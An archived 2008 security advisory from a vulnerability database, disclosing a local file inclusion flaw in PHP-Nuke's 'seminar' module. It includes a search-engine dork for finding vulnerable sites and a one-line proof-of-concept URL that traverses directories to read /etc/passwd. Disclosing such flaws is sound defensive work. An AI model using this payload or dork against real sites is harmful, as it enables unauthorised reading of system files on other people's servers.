Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19338
HistoryMar 04, 2008 - 12:00 a.m.

PHP-Nuke Module "seminar" Local FIle Inclusion

2008-03-0400:00:00
vulners.com
61

Aria-Security Team (Persian Security Network)
http://Aria-Security.net

Shoutz: AurA, Null, Kinglet, imm02tal And all our staff
PHP-Nuke Module "seminar" Local FIle Inclusion
Original Advisory: http://forum.aria-security.net/showthread.php?p=1591

Hint:inurl:"modules.php?name=seminar"

PoC
modules.php?name=Seminars&op=showSpeech&fileName=…/…/…/…/…/…/…/…/etc/passwd

Regards,
The-0utl4w